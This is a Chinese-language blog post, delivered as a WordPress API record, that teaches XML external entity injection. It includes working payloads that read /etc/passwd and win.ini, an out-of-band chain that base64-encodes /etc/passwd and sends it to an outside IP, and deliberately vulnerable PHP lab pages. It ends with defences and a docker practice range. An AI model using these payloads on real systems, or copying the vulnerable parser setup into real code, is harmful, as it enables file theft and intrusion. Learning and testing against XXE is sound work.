{"id":2136,"date":"2025-03-24T20:24:49","date_gmt":"2025-03-24T12:24:49","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2136"},"modified":"2025-03-24T20:24:50","modified_gmt":"2025-03-24T12:24:50","slug":"02-xml%e5%a4%96%e9%83%a8%e5%ae%9e%e4%bd%93%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/03\/24\/02-xml%e5%a4%96%e9%83%a8%e5%ae%9e%e4%bd%93%e6%b3%a8%e5%85%a5\/","title":{"rendered":"02.XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165"},"content":{"rendered":"<h1>\u4e00\u3001XXE\u6f0f\u6d1e\u539f\u7406<\/h1>\n<p>XXE\u6f0f\u6d1e\u5168\u79f0\u4e3aXML External Entity Injection\uff0c\u5373XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\u3002<br \/>\nXXE\u6f0f\u6d1e\u53d1\u751f\u5728\u5e94\u7528\u7a0b\u5e8f\u89e3\u6790XML\u8f93\u5165\u65f6\uff0c\u6ca1\u6709\u7981\u6b62\u5916\u90e8\u5b9e\u4f53\u7684\u52a0\u8f7d\uff0c\u5bfc\u81f4\u7528\u6237\u53ef\u4ee5\u63a7\u5236\u5916\u90e8\u52a0\u8f7d\u7684\u6587\u4ef6\uff0c\u4ece\u800c\u5bfc\u81f4\u6f0f\u6d1e\u7684\u53d1\u751f\u3002<br \/>\nXXE\u6f0f\u6d1e\u7684\u89e6\u53d1\u70b9\u5f80\u5f80\u662f\u53ef\u4ee5\u4e0a\u4f20xml\u6587\u4ef6\u7684\u4f4d\u7f6e\uff0c\u6ca1\u6709\u5bf9\u4e0a\u4f20\u7684xml\u6587\u4ef6\u8fdb\u884c\u8fc7\u6ee4\uff0c\u5bfc\u81f4\u53ef\u4e0a\u4f20\u6076\u610fxml\u6587\u4ef6\u3002<\/p>\n<h1>\u4e8c\u3001\u6f0f\u6d1e\u5371\u5bb3<\/h1>\n<p>\u5f53\u5141\u8bb8\u5f15\u7528\u5916\u90e8\u5b9e\u4f53\u65f6\uff0c\u901a\u8fc7\u6784\u9020\u6076\u610f\u5185\u5bb9\uff0c\u53ef\u5bfc\u81f4\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6\u3001\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3001\u63a2\u6d4b\u5185\u7f51\u7aef\u53e3\u3001\u653b\u51fb\u5185\u7f51\u7f51\u7ad9\u3001\u53d1\u8d77dos\u653b\u51fb\u7b49\u5371\u5bb3\u3002<\/p>\n<h1>\u4e09\u3001\u6f0f\u6d1e\u63a2\u6d4b<\/h1>\n<p>\u5728XXE\u653b\u51fb\u7684\u573a\u666f\u4e2d\uff0cDTD\u4e2d\u7684\u6839\u5143\u7d20\u901a\u5e38\u4e0d\u4f1a\u5f71\u54cd\u653b\u51fb\u4ee3\u7801\u7684\u6267\u884c\uff0c\u56e0\u4e3a\u653b\u51fb\u7684\u91cd\u70b9\u5728\u4e8e\u5b9e\u4f53\u7684\u5b9a\u4e49\u548c\u5f15\u7528\uff0c\u800c\u4e0d\u662f\u6839\u5143\u7d20\u7684\u540d\u79f0\u3002<\/p>\n<h2>1.\u76f4\u63a5\u901a\u8fc7\u5185\u90e8\u5f15\u7528DTD+\u5f15\u7528\u5916\u90e8\u5b9e\u4f53<\/h2>\n<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;Is0-8859-1&quot;?&gt;\n&lt;!DOCTYPE foo [\n&lt;!ENTITY xxe SYSTEM &quot;file:\/\/\/etc\/passwd&quot; &gt;]&gt;\n&lt;user&gt;&lt;username&gt;&amp;xxe;&lt;\/username&gt;&lt;password&gt;1234&lt;\/password&gt;&lt;\/user&gt;\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250322092805.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250322092805.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250322092805.png\"><\/div><br \/>\n\u7b2c\u4e00\u884c\u7684xml\u58f0\u660e\u53ef\u4ee5\u5220\u6389\uff0c\u4e0d\u5f71\u54cd<\/p>\n<h2>2.\u901a\u8fc7\u5f15\u7528\u5916\u90e8DTD\u6587\u6863\uff0c\u518d\u5f15\u5165\u5916\u90e8\u5b9e\u4f53<\/h2>\n<pre><code>&lt;?xml version=&quot;1.0&quot;?&gt;\n&lt;!DOCTYPE root SYSTEM &quot;http:\/\/115.159.64.94:1234\/evil.dtd&quot;&gt;\n&lt;user&gt;&lt;username&gt;&amp;xxe;&lt;\/username&gt;&lt;password&gt;1234&lt;\/password&gt;&lt;\/user&gt;\n<\/code><\/pre>\n<p>evil.dtd<\/p>\n<pre><code>&lt;!ENTITY xxe SYSTEM &quot;file:\/\/\/etc\/passwd&quot;&gt;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250322094816.png\" alt=\"Pasted image 20250322094816.png\"><\/p>\n<h2>3.\u65e0\u56de\u663eXXE<\/h2>\n<p>\u5185\u90e8\u5f15\u7528\uff08\u58f0\u660e\uff09dtd+\u5f15\u7528\u5916\u90e8\u53c2\u6570\u5b9e\u4f53<\/p>\n<pre><code>&lt;!DOcTYPE convert [\n&lt;!ENTITY % remote SYSTEM &quot;http:\/\/115.159.64.94:1234\/evil.dtd&quot;&gt;\n%remote;%int;%send ;\n]&gt;\n&lt;user&gt;&lt;username&gt;1&lt;\/username&gt;&lt;password&gt;2ad&lt;\/password&gt;&lt;\/user&gt;\n<\/code><\/pre>\n<p>evil.dtd<\/p>\n<pre><code>&lt;!ENTITY % file SYSTEM &quot;php:\/\/filter\/read=convert.base64-encode\/resource=\/etc\/passwd&quot;&gt;\n&lt;!ENTITY % int &quot;&lt;!ENTITY &amp;#x25; send SYSTEM 'http:\/\/115.159.64.94:1234\/?p=%file;'&gt;&quot;&gt;\n<\/code><\/pre>\n<p><code>&amp;#x25;<\/code>=<code>%<\/code><br \/>\n\u4ecepayload\u4e2d\u80fd\u770b\u5230\u8fde\u7eed\u8c03\u7528\u4e86\u4e09\u4e2a\u53c2\u6570\u5b9e\u4f53%remote;%int;%send\uff1b\uff0c\u8fd9\u5c31\u662f\u5229\u7528\u5148\u540e\u987a\u5e8f\uff0c%remote\u5148\u5f15\u7528\uff0c\u5f15\u5165\u5916\u90e8dtd\uff08\u653b\u51fb\u670d\u52a1\u5668\u4e0a\u7684text.dtd\uff09\uff0c\u7136\u540e\u5f15\u7528%int\uff0c%int\u8c03\u7528evil.dtd<br \/>\n\u4e2d\u5b9a\u4e49\u7684% int\u53c2\u6570\u5b9e\u4f53\u7684\u503c&lt;!ENTITY % send SYSTEM &#8216;http:\/\/139.9.198.30\/?p=%file;&#8217;&gt;, %file\u518d\u5f15\u5165\u5916\u90e8\u53c2\u6570\u5b9e\u4f53&lt;!ENTITY % file SYSTEM &quot;php:\/\/filter\/read=convert.base64-encode\/resource=\/etc\/passwd&quot;&gt;,\u6700\u540e\u5c31\u662f%send\u7684\u5f15\u7528\u3002<\/p>\n<h1>\u56db\u3001\u6f0f\u6d1e\u5206\u7c7b<\/h1>\n<h2>1.\u6709\u56de\u663e\u6848\u4f8b<\/h2>\n<p>\u6e90\u7801\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nheader('Content-type: text\/html; charset=utf-8');\nlibxml_disable_entity_loader(false);\nif(isset($_POST['xml'])){\n$xml = $_POST['xml'];\n$dom = new DoMDocument();\n$dom-&gt;loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);\n$data = simplexml_import_dom($dom) ;\necho &quot;result\uff1a&quot;.$data;\/\/ \u6709\u56de\u663e\n}\n?&gt;\n\n&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;XXE\u6848\u4f8b&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;h1&gt;XXE\u6848\u4f8b&lt;\/h1&gt;\n&lt;form action=&quot;&quot;method=&quot;post&quot;&gt;\n&lt;input type=&quot;text&quot; name=&quot;xml&quot; style=&quot;width:300px;\nheight:150px;&quot;&gt;\n&lt;input type=&quot;submit&quot; value=&quot;submit&quot;&gt;\n&lt;\/form&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n<p>\u5728\u8be5\u6587\u4ef6\u7684\u540c\u7ea7\u76ee\u5f55\u521b\u5efa\u4e00\u4e2atxt\u6587\u4ef6\uff0c\u6587\u4ef6\u5185\u5bb9\u968f\u4fbf\u5199<\/p>\n<p>\u8f93\u5165xml\u6d4b\u8bd5\u4ee3\u7801<\/p>\n<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE root [\n&lt;!ENTITY xxe SYSTEM &quot;test.txt&quot;&gt;\n]&gt;\n&lt;root&gt;&amp;xxe;&lt;\/root&gt;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250321170111.png\" alt=\"Pasted image 20250321170111.png\"><\/p>\n<p>\u6d4b\u8bd5\u8bfb\u53d6windows\u4e0a\u7684\u6587\u4ef6\uff1a<\/p>\n<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE root [\n&lt;!ENTITY xxe SYSTEM &quot;file:\/\/\/c:\/windows\/win.ini&quot;&gt;\n]&gt;\n&lt;root&gt;&amp;xxe;&lt;\/root&gt;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250321170926.png\" alt=\"Pasted image 20250321170926.png\"><\/p>\n<h2>2.\u65e0\u56de\u663e\u6848\u4f8b<\/h2>\n<pre><code class=\"language-php\">&lt;?php\nheader('Content-type: text\/html; charset=utf-8');\nlibxml_disable_entity_loader(false);\nif(isset($_POST['xml'])){\n$xml = $_POST['xml'];\n$dom = new DoMDocument();\n$dom-&gt;loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);\n$data = simplexml_import_dom($dom) ;\n\/\/echo &quot;result\uff1a&quot;.$data;\/\/ \u65e0\u56de\u663e\n}\n?&gt;\n\n&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;XXE\u6848\u4f8b\u65e0\u56de\u663e&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;h1&gt;XXE\u6848\u4f8b\u65e0\u56de\u663e&lt;\/h1&gt;\n&lt;form action=&quot;&quot;method=&quot;post&quot;&gt;\n&lt;input type=&quot;text&quot; name=&quot;xml&quot; style=&quot;width:300px;\nheight:150px;&quot;&gt;\n&lt;input type=&quot;submit&quot; value=&quot;submit&quot;&gt;\n&lt;\/form&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE root [\n&lt;!ENTITY xxe SYSTEM &quot;http:\/\/f6ep.callback.red&quot;&gt;\n]&gt;\n&lt;root&gt;&amp;xxe;&lt;\/root&gt;\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250321233228.png\" alt=\"Pasted image 20250321233228.png\"><\/p>\n<h1>\u4e94\u3001\u6f0f\u6d1e\u5229\u7528<\/h1>\n<h2>1.\u8bfb\u53d6\u654f\u611f\u6587\u4ef6<\/h2>\n<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;IS0-8859-1&quot;?&gt;\n&lt;!DOCTYPE foo [\n&lt;!ELEMENT foO ANY &gt;\n&lt;!ENTITY xxe SYSTEM &quot;file:\/\/\/etc\/passwd&quot;&gt;]&gt;\n&lt;user&gt;&lt;username&gt;&amp;xxe;&lt;\/username&gt;&lt;password&gt;1234&lt;\/password&gt;&lt;\/user&gt;\n<\/code><\/pre>\n<h1>\u516d\u3001EXCEL\u6587\u6863XXE<\/h1>\n<p>\u73b0\u4ee3Excel\u6587\u4ef6\uff08xlsx \u683c\u5f0f\uff09\u5b9e\u9645\u4e0a\u53ea\u662fXML\u6587\u6863\u7684zip\u6587\u4ef6\u3002\u8fd9\u79f0\u4e3aOfficeOpenXML\u683c\u5f0f\u6216OOXML\u3002<br \/>\n\u8bb8\u591a\u5e94\u7528\u7a0b\u5e8f\u5141\u8bb8\u4e0a\u4f20\u6587\u4ef6\uff0c\u82e5\u5e94\u7528\u7a0b\u5e8f\u5728\u89e3\u6790\u8fd9\u4e9b XML \u6587\u4ef6\u65f6\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53\u5f15\u7528\uff0c\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u6784\u9020\u6076\u610f XML \u4ee3\u7801\u89e6\u53d1 XXE\u3002<\/p>\n<pre><code>&lt;!DOCTYPE GVI [&lt;!ENTITY xxe SYSTEM &quot;http:\/\/xxx.com\/&quot; &gt;]&gt;\n&lt;name&gt;&amp;GVI;&lt;\/name&gt;\n<\/code><\/pre>\n<p>\u9996\u5148\u65b0\u5efaxlsx\u6587\u4ef6\uff0c\u7136\u540e\u5c06\u5176\u540e\u7f00\u4fee\u6539\u4e3a.zip\uff0c\u518d\u5c06\u8be5zip\u6587\u4ef6\u89e3\u538b\uff0c\u6253\u5f00<code>[Content_Types].xml<\/code>\u628a\u6d4b\u8bd5\u4ee3\u7801\u653e\u5230\u7b2c\u4e8c\u3001\u4e09\u884c<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250321231506.png\" alt=\"Pasted image 20250321231506.png\"><\/p>\n<p>\u7136\u540e\u91cd\u65b0\u5c06\u89e3\u538b\u540e\u7684\u6587\u4ef6\u538b\u7f29\uff0c\u518d\u4fee\u6539\u6587\u4ef6\u540e\u7f00\u4e3axlsx\u8fdb\u884c\u4e0a\u4f20\u5373\u53ef\u3002<\/p>\n<h1>\u4e03\u3001\u9632\u5fa1\u65b9\u6cd5<\/h1>\n<p>1.\u7981\u7528\u5916\u90e8\u5b9e\u4f53\u5f15\u7528\uff1a\u7981\u7528XML\u89e3\u6790\u5668\u4e2d\u7684\u5916\u90e8\u5b9e\u4f53\u5f15\u7528\uff0c\u6216\u8005\u53ea\u5141\u8bb8\u5f15\u7528\u53d7\u4fe1\u4efb\u7684\u5b9e\u4f53\u3002<br \/>\n2.\u4f7f\u7528\u5b89\u5168\u7684XML\u89e3\u6790\u5668\uff1a\u4f7f\u7528\u5b89\u5168\u7684XML\u89e3\u6790\u5668\uff0c\u4f8b\u5982libxmI2\u6216SAX\u89e3\u6790\u5668\uff0c\u8fd9\u4e9b\u89e3\u6790\u5668\u5df2\u7ecf\u9ed8\u8ba4\u7981\u7528\u4e86\u5916\u90e8\u5b9e\u4f53\u5f15\u7528\u3002<br \/>\n3.\u8fc7\u6ee4\u7528\u6237\u8f93\u5165\uff1a\u5bf9\u4e8e\u4ece\u7528\u6237\u63a5\u6536\u7684XML\u6570\u636e\uff0c\u8fdb\u884c\u4e25\u683c\u7684\u8f93\u5165\u9a8c\u8bc1\u548c\u8fc7\u6ee4\uff0c\u4ee5\u9632\u6b62\u6076\u610fXML\u6587\u4ef6\u88ab\u89e3\u6790\u3002<\/p>\n<p>\u9776\u573a\uff1a<\/p>\n<pre><code>docker pull dockerpull.com\/betsy0\/yjvul-xxel\ndocker run -d -p 30003:80 --restart=always dockerpull.com\/betsy0\/yjvul-xxe1\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001XXE\u6f0f\u6d1e\u539f\u7406 XXE\u6f0f\u6d1e\u5168\u79f0\u4e3aXML External Entity Injection\uff0c\u5373XML\u5916\u90e8\u5b9e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,20],"tags":[],"class_list":["post-2136","post","type-post","status-publish","format-standard","hentry","category-web","category-xxe"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2136","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2136"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2136\/revisions"}],"predecessor-version":[{"id":2137,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2136\/revisions\/2137"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2136"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}